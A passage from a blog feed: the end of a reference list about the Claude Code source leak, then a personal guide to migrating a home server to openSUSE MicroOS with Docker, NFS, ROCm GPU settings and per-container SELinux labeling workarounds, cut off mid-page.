<li><a href="https://github.com/Kuberwastaken/claude-code"target="_blank" rel="noopener">Kuberwastaken/claude-code - Complete breakdown of the leaked code</a></li>
<li><a href="https://alex000kim.com/posts/2026-03-31-claude-code-source-leak/"target="_blank" rel="noopener">Alex Kim - Claude Code Source Leak: fake tools, frustration regexes, undercover mode</a></li>
<li><a href="https://venturebeat.com/technology/claude-codes-source-code-appears-to-have-leaked-heres-what-we-know/"target="_blank" rel="noopener">VentureBeat - Claude Code&rsquo;s source code appears to have leaked</a></li>
<li><a href="https://www.theregister.com/2026/03/31/anthropic_claude_code_source_code/"target="_blank" rel="noopener">The Register - Anthropic accidentally exposes Claude Code source code</a></li>
<li><a href="https://fortune.com/2026/03/31/anthropic-source-code-claude-code-data-leak-second-security-lapse-days-after-accidentally-revealing-mythos/"target="_blank" rel="noopener">Fortune - Anthropic leaks its own AI coding tool&rsquo;s source code</a></li>
<li><a href="https://cybernews.com/security/anthropic-claude-code-source-leak/"target="_blank" rel="noopener">Cybernews - Full source code for Anthropic&rsquo;s Claude Code leaks</a></li>
<li><a href="https://gizmodo.com/source-code-for-anthropics-claude-code-leaks-at-the-exact-wrong-time-2000740379"target="_blank" rel="noopener">Gizmodo - Source Code for Anthropic&rsquo;s Claude Code Leaks at the Exact Wrong Time</a></li>
<li><a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone?s=33"target="_blank" rel="noopener">Anthropic - Anthropic acquires Bun as Claude Code reaches $1B milestone</a></li>
<li><a href="https://github.com/oven-sh/bun/issues/28001"target="_blank" rel="noopener">Bun Issue #28001 - Source maps incorrectly served in production</a></li>
<li><a href="https://news.ycombinator.com/item?id=43909409"target="_blank" rel="noopener">Hacker News - Claude&rsquo;s system prompt is over 24k tokens with tools</a></li>
<li><a href="https://malus.sh/"target="_blank" rel="noopener">malus.sh - Clean Room as a Service (satire)</a></li>
<li><a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru - Thread with 7 technical findings from the code</a></li>
<li><a href="https://x.com/altryne/status/2038676458026189225"target="_blank" rel="noopener">@altryne - Cache bugs that cost 10-20x more</a></li>
<li><a href="https://x.com/thekitze/status/2038956521942577557"target="_blank" rel="noopener">@thekitze - &ldquo;Staff-engineer spaghetti&rdquo; 6.5/10</a></li>
<li><a href="https://x.com/braelyn_ai/status/2039025584626397491"target="_blank" rel="noopener">@braelyn_ai - Clean room and legal implications</a></li>
<li><a href="https://github.com/github/dmca/blob/master/2026/03/2026-03-31-anthropic.md"target="_blank" rel="noopener">GitHub DMCA - Anthropic takedown notice processed against the network of 8.1K repositories</a></li>
<li><a href="https://github.com/github/dmca/blob/master/2026/04/2026-04-01-anthropic-retraction.md"target="_blank" rel="noopener">GitHub DMCA - Anthropic&rsquo;s partial retraction the next day</a></li>
<li><a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">ultraworkers/claw-code - Python and Rust reimplementation that became the main post-leak project</a></li>
<li><a href="https://x.com/mem0ai/status/2039041449854124229"target="_blank" rel="noopener">@mem0ai - Analysis of the memory architecture</a></li>
<li><a href="https://x.com/himanshustwts/status/2038924027411222533"target="_blank" rel="noopener">@himanshustwts - Memory architecture summary</a></li>
<li><a href="https://github.com/iamfakeguru/claude-md"target="_blank" rel="noopener">iamfakeguru/claude-md - Override published with the complete CLAUDE.md</a></li>
<li><a href="https://x.com/StraughterG/status/2039344027556798476"target="_blank" rel="noopener">@StraughterG - &ldquo;the DRM is dead&rdquo; - reverse engineering of the cch= hash</a></li>
<li><a href="https://x.com/StraughterG/status/2039344035555344550"target="_blank" rel="noopener">@StraughterG - xxHash64 seed and TypeScript bypass code</a></li>
<li><a href="https://x.com/paoloanzn/status/2039348588741087341"target="_blank" rel="noopener">@paoloanzn - &ldquo;we cracked it&rdquo; - confirmation of the reverse engineering</a></li>
<li><a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener">paoloanzn/free-code - Fork of Claude Code with telemetry removed and features unlocked</a></li>
<li><a href="https://a10k.co/b/reverse-engineering-claude-code-cch.html"target="_blank" rel="noopener">a10k.co - What&rsquo;s cch? Reverse Engineering Claude Code&rsquo;s Request Signing</a></li>
<li><a href="https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/"target="_blank" rel="noopener">The Register - Anthropic clarifies ban on third-party tool access to Claude</a></li>
</ul>
]]></content:encoded><category>coding-agents</category><category>security</category><category>software-engineering</category></item><item><title>Migrating my Home Server with Claude Code | openSUSE MicroOS</title><link>https://akitaonrails.github.io/en/2026/03/31/migrating-my-home-server-with-claude-code/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/03/31/migrating-my-home-server-with-claude-code/</guid><pubDate>Tue, 31 Mar 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;My old home server was a mess. An Intel NUC with Ubuntu Server that I&amp;rsquo;d been patching together for two years. Containers with hardcoded paths, volumes mounted in random places (&lt;code&gt;/home/akitaonrails/docker/&lt;/code&gt;, &lt;code&gt;/home/akitaonrails/sonarr/&lt;/code&gt;, &lt;code&gt;/mnt/terachad/&lt;/code&gt;), docker-compose files scattered with no consistent layout. It worked, but if I lost the disk it would take days to rebuild everything from memory.&lt;/p&gt;
&lt;p&gt;With the &lt;a href="https://akitaonrails.github.io/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/"&gt;new Minisforum MS-S1 Max&lt;/a&gt; that I bought, I decided to do the migration properly. And I decided to use Claude Code from the start to speed up the process. It&amp;rsquo;s a home server, only I use it, so the risk of making a mistake is low. But if this were a real production server, I would never do this without rigorous human review at every step.&lt;/p&gt;</description><content:encoded><![CDATA[<p>My old home server was a mess. An Intel NUC with Ubuntu Server that I&rsquo;d been patching together for two years. Containers with hardcoded paths, volumes mounted in random places (<code>/home/akitaonrails/docker/</code>, <code>/home/akitaonrails/sonarr/</code>, <code>/mnt/terachad/</code>), docker-compose files scattered with no consistent layout. It worked, but if I lost the disk it would take days to rebuild everything from memory.</p>
<p>With the <a href="/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/">new Minisforum MS-S1 Max</a> that I bought, I decided to do the migration properly. And I decided to use Claude Code from the start to speed up the process. It&rsquo;s a home server, only I use it, so the risk of making a mistake is low. But if this were a real production server, I would never do this without rigorous human review at every step.</p>
<p>What follows is the migration writeup and a guide for anyone who wants to replicate it. If I ever have to rebuild from scratch, this post is the documentation.</p>
<h2>Choosing the operating system<span class="hx:absolute hx:-mt-20" id="choosing-the-operating-system"></span>
    <a href="#choosing-the-operating-system" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Why not Ubuntu Server again<span class="hx:absolute hx:-mt-20" id="why-not-ubuntu-server-again"></span>
    <a href="#why-not-ubuntu-server-again" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I used Ubuntu Server on the NUC for convenience. But <code>do-release-upgrade</code> is Russian roulette. Every time Ubuntu releases a new version, the upgrade is a real risk of breaking things. Packages change, configs get overwritten, dependencies clash. For a server that has to be running constantly, that&rsquo;s unacceptable.</p>
<h3>Why not Arch Linux<span class="hx:absolute hx:-mt-20" id="why-not-arch-linux"></span>
    <a href="#why-not-arch-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I use Arch on the desktop and I like it. But Arch is a rolling release with no stability guarantees at all. For a desktop where I can stop and fix problems, fine. For a headless server running 49 Docker containers that has to work after every reboot, no.</p>
<h3>Fedora CoreOS vs openSUSE MicroOS<span class="hx:absolute hx:-mt-20" id="fedora-coreos-vs-opensuse-microos"></span>
    <a href="#fedora-coreos-vs-opensuse-microos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The two modern options for a container server are Fedora CoreOS and openSUSE MicroOS. Both are immutable systems: the root filesystem is read-only, updates are atomic (they either apply in full or don&rsquo;t apply at all), and rollback is instant.</p>
<p>The difference: Fedora CoreOS uses Ignition (declarative configuration before the first boot) and is designed to be provisioned automatically. MicroOS uses <code>transactional-update</code> and allows normal interactive use. For a home server where I want SSH and the ability to poke around manually, MicroOS fits better.</p>
<h3>What makes MicroOS different<span class="hx:absolute hx:-mt-20" id="what-makes-microos-different"></span>
    <a href="#what-makes-microos-different" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The immutable system concept changes how you operate the server:</p>
<p>Every package install or <code>/etc</code> edit goes through <code>transactional-update</code>, which creates a new btrfs snapshot, applies the change in that snapshot, and on the next reboot the system boots into the updated snapshot. If the change breaks something, you do <code>transactional-update rollback</code> and you&rsquo;re back on the previous snapshot in seconds.</p>
<p>Updates are automatic and daily. The <code>transactional-update.timer</code> downloads patches, creates a snapshot, and <code>rebootmgr</code> reboots in a configured window (in my case, between 4am and 5:30am). If the update breaks the boot, GRUB automatically falls back to the previous snapshot.</p>
<p>SELinux is enforcing by default. That caused 90% of the problems during the migration, but it&rsquo;s the right setting for security.</p>
<h2>Initial setup<span class="hx:absolute hx:-mt-20" id="initial-setup"></span>
    <a href="#initial-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Hardware<span class="hx:absolute hx:-mt-20" id="hardware"></span>
    <a href="#hardware" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ul>
<li>AMD Ryzen AI Max+ 395, 128GB LPDDR5X</li>
<li>96GB allocated as VRAM via BIOS (UMA Frame Buffer Size)</li>
<li>2TB NVMe (system + Docker)</li>
<li>Wired 2.5Gbps network</li>
<li>Synology DS1821+ NAS at 192.168.0.21 (NFS)</li>
</ul>
<h3>First steps<span class="hx:absolute hx:-mt-20" id="first-steps"></span>
    <a href="#first-steps" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>MicroOS install is standard. Then:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Create user with a UID that matches the NAS (so NFS works without permission issues)</span>
</span></span><span class="line"><span class="cl">useradd -u <span class="m">1026</span> -m akitaonrails
</span></span><span class="line"><span class="cl">passwd akitaonrails
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configure sudo (inside transactional-update shell)</span>
</span></span><span class="line"><span class="cl">sudo transactional-update shell
</span></span><span class="line"><span class="cl"><span class="c1"># inside: add akitaonrails to sudoers</span>
</span></span><span class="line"><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="cl">sudo reboot</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Synology NFS<span class="hx:absolute hx:-mt-20" id="synology-nfs"></span>
    <a href="#synology-nfs" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The Synology NAS exports <code>/volume1/TERACHAD</code> over NFS. The mount point on MicroOS is <code>/var/mnt/terachad</code> (not <code>/mnt/</code>, which lives on the immutable root).</p>
<p>In <code>/etc/fstab</code> (applied through transactional-update):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>192.168.0.21:/volume1/TERACHAD /var/mnt/terachad nfs4 nfsvers=4.1,rsize=262144,wsize=262144,hard,_netdev 0 0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Details that matter: <code>nfsvers=4.1</code> because 4.2 didn&rsquo;t work with the Synology. <code>rsize=262144,wsize=262144</code> (256KB buffers) was the biggest NFS performance improvement. <code>hard</code> instead of <code>nofail</code> so the mount keeps retrying indefinitely if the NAS disconnects temporarily.</p>
<h3>GPU / ROCm<span class="hx:absolute hx:-mt-20" id="gpu--rocm"></span>
    <a href="#gpu--rocm" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This step was a pain. The Radeon 8060S in the AI Max+ 395 is gfx1151, which ROCm doesn&rsquo;t officially support. Three steps were needed, and all three are mandatory:</p>
<ol>
<li>BIOS: set UMA Frame Buffer Size to 96GB</li>
<li>Kernel: add <code>amdttm.pages_limit=25165824 amdttm.page_pool_size=25165824</code> to <code>/etc/kernel/cmdline</code></li>
<li>Docker: use <code>HSA_OVERRIDE_GFX_VERSION=11.5.1</code> in every ROCm container</li>
</ol>
<p>Without step 2, ROCm only sees 15.5GB even with the BIOS allocation in place. The numbers are 96GB / 4KB (page size) = 25,165,824 pages.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo transactional-update shell
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;amdttm.pages_limit=25165824 amdttm.page_pool_size=25165824&#34;</span> &gt;&gt; /etc/kernel/cmdline
</span></span><span class="line"><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="cl">sudo sdbootutil update-all-entries  <span class="c1"># OUTSIDE the transactional shell</span>
</span></span><span class="line"><span class="cl">sudo reboot</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Verification:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat /sys/class/drm/card1/device/mem_info_vram_total
</span></span><span class="line"><span class="cl"><span class="c1"># 103079215104 (96 * 1024^3)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Docker on MicroOS<span class="hx:absolute hx:-mt-20" id="docker-on-microos"></span>
    <a href="#docker-on-microos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo transactional-update --non-interactive pkg install docker
</span></span><span class="line"><span class="cl">sudo reboot
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now docker
</span></span><span class="line"><span class="cl">sudo usermod -aG docker akitaonrails
</span></span><span class="line"><span class="cl"><span class="c1"># logout and login for the group to take effect</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Install standalone docker-compose (the openSUSE package doesn&#39;t include it)</span>
</span></span><span class="line"><span class="cl">sudo curl -L <span class="s2">&#34;https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -o /usr/local/bin/docker-compose
</span></span><span class="line"><span class="cl">sudo chmod +x /usr/local/bin/docker-compose
</span></span><span class="line"><span class="cl">mkdir -p ~/.docker/cli-plugins
</span></span><span class="line"><span class="cl">ln -s /usr/local/bin/docker-compose ~/.docker/cli-plugins/docker-compose</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>daemon.json<span class="hx:absolute hx:-mt-20" id="daemonjson"></span>
    <a href="#daemonjson" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-level&#34;</span><span class="p">:</span> <span class="s2">&#34;warn&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-driver&#34;</span><span class="p">:</span> <span class="s2">&#34;local&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-opts&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;max-size&#34;</span><span class="p">:</span> <span class="s2">&#34;10m&#34;</span><span class="p">,</span> <span class="nt">&#34;max-file&#34;</span><span class="p">:</span> <span class="s2">&#34;5&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;selinux-enabled&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;live-restore&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;userland-proxy&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;exec-opts&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;native.cgroupdriver=systemd&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>live-restore: true</code> keeps containers alive across a Docker daemon restart. <code>userland-proxy: false</code> uses iptables directly instead of proxy processes (less overhead). <code>selinux-enabled: true</code> is mandatory on MicroOS.</p>
<h2>SELinux and Docker: the biggest source of problems<span class="hx:absolute hx:-mt-20" id="selinux-and-docker-the-biggest-source-of-problems"></span>
    <a href="#selinux-and-docker-the-biggest-source-of-problems" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This deserves an entire section because it was responsible for 90% of the bugs during the migration.</p>
<p>On MicroOS with SELinux enforcing, every container that writes to a host bind-mounted directory needs special handling. There are two approaches: the <code>:Z</code> suffix on volumes and the <code>security_opt: label:disable</code> option.</p>
<h3>NEVER use <code>:Z</code>. Use <code>security_opt: label:disable</code>.<span class="hx:absolute hx:-mt-20" id="never-use-z-use-security_opt-labeldisable"></span>
    <a href="#never-use-z-use-security_opt-labeldisable" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>:Z</code> tells Docker to relabel the host directory with the container&rsquo;s SELinux context. Sounds like the right thing. In practice:</p>
<ul>
<li>SQLite databases break. The relabeling changes the file&rsquo;s context and SQLite may refuse to open the WAL journal.</li>
<li>NFS mounts silently ignore <code>:Z</code>. NFS doesn&rsquo;t support SELinux xattrs. The kernel ignores the flag without error, but the container still doesn&rsquo;t have permission.</li>
<li><code>:ro,Z</code> mounts try to relabel even when read-only, which fails on NFS and can corrupt the context on local paths.</li>
</ul>
<p>The right solution for every container on this system:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">myservice</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable    </span><span class="w"> </span><span class="c"># disables SELinux enforcement for this container</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./data:/data     </span><span class="w"> </span><span class="c"># NO :Z</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./config.yml:/etc/config.yml:ro </span><span class="w"> </span><span class="c"># NO :Z even on :ro</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>label:disable</code> disables SELinux label enforcement for that container only, not for the entire system. Combined with Docker&rsquo;s network and process isolation, it&rsquo;s safe for a home server.</p>
<h2>Migrating the stacks<span class="hx:absolute hx:-mt-20" id="migrating-the-stacks"></span>
    <a href="#migrating-the-stacks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>All Docker stacks were reorganized into <code>/var/opt/docker/&lt;stack&gt;/docker-compose.yml</code>. On the old server, they were scattered across <code>/home/akitaonrails/docker/</code>, <code>/home/akitaonrails/&lt;service&gt;/</code>, with no pattern.</p>
<h3>Substitutions applied across every compose file<span class="hx:absolute hx:-mt-20" id="substitutions-applied-across-every-compose-file"></span>
    <a href="#substitutions-applied-across-every-compose-file" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Before</th>
          <th>After</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>/mnt/terachad/</code></td>
          <td><code>/var/mnt/terachad/</code></td>
      </tr>
      <tr>
          <td><code>192.168.0.145</code></td>
          <td><code>192.168.0.90</code></td>
      </tr>
      <tr>
          <td><code>/home/akitaonrails/&lt;service&gt;/</code></td>
          <td><code>/var/opt/docker/&lt;stack&gt;/&lt;service&gt;/</code></td>
      </tr>
      <tr>
          <td><code>OLLAMA_BASE_URL=http://192.168.0.14:11434</code></td>
          <td><code>OLLAMA_BASE_URL=http://192.168.0.90:11434</code></td>
      </tr>
  </tbody>
</table>
<h3>Media stack (Plex, Radarr, Sonarr, etc.)<span class="hx:absolute hx:-mt-20" id="media-stack-plex-radarr-sonarr-etc"></span>
    <a href="#media-stack-plex-radarr-sonarr-etc" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The media stack is the most complex. Plex needs its own LAN IP (macvlan) for direct streaming to work. The setup:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker network create -d macvlan <span class="se">\
</span></span></span><span class="line"><span class="cl">  --subnet<span class="o">=</span>192.168.0.0/24 <span class="se">\
</span></span></span><span class="line"><span class="cl">  --gateway<span class="o">=</span>192.168.0.1 <span class="se">\
</span></span></span><span class="line"><span class="cl">  -o <span class="nv">parent</span><span class="o">=</span>enp97s0 <span class="se">\
</span></span></span><span class="line"><span class="cl">  plex_macvlan</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In compose, Plex needs to be on two networks: the macvlan (for the IP 192.168.0.6) and the default bridge (so other containers like Seerr can talk to it):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">plex</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">networks</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">plex_macvlan</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">ipv4_address</span><span class="p">:</span><span class="w"> </span><span class="m">192.168.0.6</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">mac_address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;02:42:c0:a8:00:06&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">default</span><span class="p">:</span><span class="w"> </span>{}<span class="w">    </span><span class="c"># mandatory — without this, Seerr can&#39;t see Plex</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
